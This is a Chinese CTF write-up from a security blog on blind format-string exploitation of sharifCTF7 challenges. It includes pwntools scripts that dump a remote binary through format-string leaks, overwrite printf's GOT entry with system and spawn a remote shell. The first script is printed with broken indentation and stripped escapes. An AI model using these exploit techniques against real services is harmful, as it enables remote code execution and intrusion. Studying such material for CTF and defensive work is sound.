【技术分享】格式化字符串漏洞利用小结(二)

阅读量326993

|

发布时间 : 2017-03-31 10:03:06

作者:tianyi201612

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程

1、无binary的格式化字符串漏洞利用

无binary的格式化字符串漏洞赛题一般都只给一个远程地址,根据这篇文章(http://bobao.360.cn/ctf/detail/189.html )可知,这种题目叫“blind pwn”(那这里就是“blind formatstring”了),有点sql注入里面盲注的意思,挺好玩的。

这里选用sharifCTF7来举例,因为这个CTF的服务端至今还开放着,并且提供了三道从易到难的无binary格式化字符串漏洞利用题目,有兴趣的可以尝试一下。这三道题目也将格式化字符串漏洞利用的两种主要方式体现了出来,即“读取数据以泄漏信息”和“写入数据以获取控制权”。


2、sharifCTF7-Guess(pwn 50)


nc ctf.sharif.edu 54517

这题是将flag直接放置在栈中,用户可以输入format字符串并返回相应信息。通过构造类似“%x*n”这样的输入即可获得栈中的n字节信息,从而将隐藏在栈中的flag直接拿到。

通过输入%1$p可知目标系统是64位,然后使用%k$lx并一直增加k值。当k=136时,输出5443666972616853,hex转码后即为“TCfirahS”,说明马上就到flag了,继续增加k,结果如下。

136 5443666972616853 TCfirahS
137 3832346435617b46 824d5a{F
138 6237636363323336 b7ccc236
139 6136633735336466 a6c753df
140 3561383761383231 5a87a821
141 00007ff6007d6338 }c8
Flag:SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}

3、sharifCTF7-NoMoreBlind(pwn 200)


nc ctf.sharif.edu 54514

这题可以无限次输入字符串,每次均可得到反馈。通过输入“%3$p%4$p”进行测试,我们可以确定目标系统是32bit的,且偏移为4。本题的flag不在栈上,需要通过getshell来寻找,主要思路如下:

通过格式化字符串漏洞,利用%s将目标ELF文件dump出来;

分析并修复返回的ELF文件;

通过逆向ELF文件,了解程序的基本流程以及所用libc函数的GOT以获得system函数的实际地址;

将system函数地址写入printf函数的GOT表项处;

通过输入“/bin/sh”,利用已被改为system地址的printf来获得shell。

3.1 利用格式化字符串漏洞dump出ELF

先给出代码吧,此代码修改自其他人的,特此说明。

from pwn import *
def leakELF(addr):
    p = None
  for i in range(5): #多循环几次,放置连接中断
      try:
        p = remote("ctf.sharif.edu", 54518, timeout=1)
      payload = "ABCD%7$sDCBA" + p32(addr)
      if ("x0a" in payload) or ("x00" in payload):
          log.warning("newline in payload!")
        return "xff"
      p.sendline(payload)
      print p.recvline()
      data2 = p.recvline()
      log.info(hexdump(data2))
      if data2:
          fr = data2.find("ABCD") + 4
        to = data2.find("DCBA")
        res = data2[fr:to]  #定位出泄漏的数据位置
        if res == "":    #说明要泄漏的数据就是x00
            return "x00"
        else:
          return res
      return "xff"  #如果出现异常,先返回xff
    except KeyboardInterrupt:
      raise
    except EOFError:
      log.debug("got EOF for leaking addr 0x{:x}".format(addr))
      pass
    except Exception:
      log.warning("got exception...", exc_info = sys.exc_info())
    finally:
        if p:
          p.close()
    return "xff"
f = open("nomoreblind-binary", "wb")
base = 0x08048000
leaked = ""
while len(leaked) < 8000:          #假设目标ELF小于8kb
    address = base + len(leaked)  #新的泄露地址等于基地址加上已泄漏的长度
  tmp = leakELF(address)
  leaked += tmp
  log.info(hexdump(leaked))
  with open("nomoreblind-binary", "wb") as f: #将已泄漏的数据写入文件
      f.write(leaked)

https://p4.ssl.qhimg.com/t0196481d34babfd87c.png

由于是32bit程序,一般起始于0x08048000,故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s,payload是"ABCD%7$sDCBA"+p32(addr),ABCD和DCBA是为了定位返回的数据位置,而我们要泄漏信息的地址(即p32(addr))位于偏移位置7。我们这里假设目标elf大小是8kb,其实没有那么大,视情终止即可。在上面的代码中,我们通过自定义的leakELF函数,每次泄漏一段数据,并记录数据长度,以便下次从该长度之后继续泄漏。代码中还需要解释的几点是:

leakELF中的for循环是为了防止连接服务器出错,毕竟要泄漏的数据量较大;

如果payload中出现0x0a,则会造成截断(接收函数是fgets),直接返回none;

如果返回的ABCD与DCBA之间没数据,则设置返回数据为x00;

如果直接出现异常或无返回,则设置返回数据为xff。

整个泄漏的时间会比较长,慢慢等吧,大概到4kb左右的时候,其实就已经完成了,因为出现了新的ELF头(x7f454c46)。这个其实没有特别的标志,只能说毕竟是比赛,binary不会太大,感觉差不多,拿出来分析一下就知道了。

3.2 修复ELF文件

由于我们在dump脚本中填补了一些xff,故需要大概修补一下,比如文件的第一个字节,就要从xff改为x7f。通过010Editor的ELF文件模板,我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题,这里就不多说了,大家可以参考其他文章,主要把文件头修改好就差不多了。当然,修改了之后也是不能运行的,毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。

https://p4.ssl.qhimg.com/t016e0e7b3597bfa060.png

3.3 逆向ELF文件

上面的ELF文件已经可以借助IDA进行逆向了,F5后得到的伪代码如下。

http://p8.qhimg.com/t0127486ed1fc2fdf44.png

上面就是main函数,虽然并没有把所有库函数名称都关联出来,但主程序毕竟很短,很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出,然后设置alarm函数参数为60秒;进入while无限循环后,用fgets来接收输入,并用printf进行输出。

结合汇编代码以及ELF中的函数名字符串(fflush、exit、printf、fgets、strlen、alarm、setvbuf),我们就能将它们对应起来,比如:

setvbuf:plt是0x08048490,got是0x08049980(在IDA中跳到sub_08048490即知);

alarm:plt是0x08048440,got是0x0804996c;

printf:plt是0x08048400,got是0x0804995c。

3.4 获取libc函数地址

本题既没有提供程序的binary,更没有提供对应的libc文件。在这种情况下,我知道的方法有两种:

采用DynELF暴力搜索

利用libcdatabase或libdb查询

我参考的writeup作者就是用的第一种方法,但我始终没成功,即使和作者沟通后得到了他的脚本也不行,感觉是网络连接不稳定;而第二种方法更是没有达到目的,应该是由于内置的libc库文件不全导致的。

考虑到第一种方法中,pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本,那是不是可以干脆将pwntools所依赖的所有libc库文件都下载下来,然后再借鉴第二种方法,将这些库文件导入到libcdatabase中,利用该工具已有的功能,通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢?

按照这个思路,我首先写了个脚本,根据pwntools中的md5文档(https://gitlab.com/libcdb/libcdb/tree/master/hashes)将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中,共6000多个。当然,pwntools中的libc库也是动态更新的,未来还会添加新的libc文件,大家可以继续搜索并扩充至自己本地。

然后,我使用libcdatabase内置的add功能脚本,将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件,故时间比较长,但一劳永逸,以后就可以直接用find功能脚本来快速查找比对了。当然,如果有哪些libc文件没有导入进去,我们也可以直接用pwntools的ELF模块来解析并比对后12bit。

通过以上工作,结合泄漏出来的printf函数实际地址的后12bit(即0xc70),我们可以匹配到很多libc文件,如下图所示,如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so;再用alarm等其他库函数的后12bit进一步校正,即可获知最终版本,从而获取到相应偏移,具体见下面的代码。

https://p3.ssl.qhimg.com/t019f8d5e85a92ea28f.png

3.5 获取shell

得到了libc版本,我们就可以确定各个库函数的偏移,从而可以得到system函数地址,并借助格式化字符串漏洞用其替换掉目标程序GOT表中的printf地址。当目标程序进入下一次循环后,我们用“/bin/sh”作为输入,由于此时printf的GOT地址处其实保存的是system函数地址,则调用printf(“/bin/sh”)时,其实就是调用的system(“/bin/sh”),shell也就获取到了。

通过《格式化字符串漏洞利用小结(一)》,我们比较深入的理解了格式化字符串漏洞的原理与手工构造payload的方法。这时,也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用,不用再自己一点一点小心地构造payload,而交给pwntools来自动完成。

具体使用的就是如下函数。

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移,这里已经知道是4;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload,具体结果你可以print出来看看,和你自己手工构造的一不一样。

以下就是具体的利用代码。

from pwn import *
import binascii
p = remote("ctf.sharif.edu", 54518, timeout=1)
printfGOT = 0x0804995c
printfOffset = 0x4cc70
systemOffset = 0x3e3e0
p.sendline("%5$s" + p32(printfGOT))
print p.recvline()
data = p.recv()
printfAddress = data[0:4][::-1]
printfAddress = int(binascii.hexlify(printfAddress),16)
systemAddress = printfAddress - printfOffset + systemOffset
print "printf:", hex(printfAddress)
print "system:", hex(systemAddress)
payload = fmtstr_payload(4, {printfGOT: systemAddress})
p.sendline(payload)
print p.recvline()
print p.recv()
p.sendline("/bin/sh")
print p.recvline()
p.interactive()


4、参考文章


http://bobao.360.cn/ctf/detail/189.html

https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/

https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7


5、附件


https://pan.baidu.com/s/1kV5aqsn

传送门


【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程

本文由tianyi201612原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85817

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
tianyi201612
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66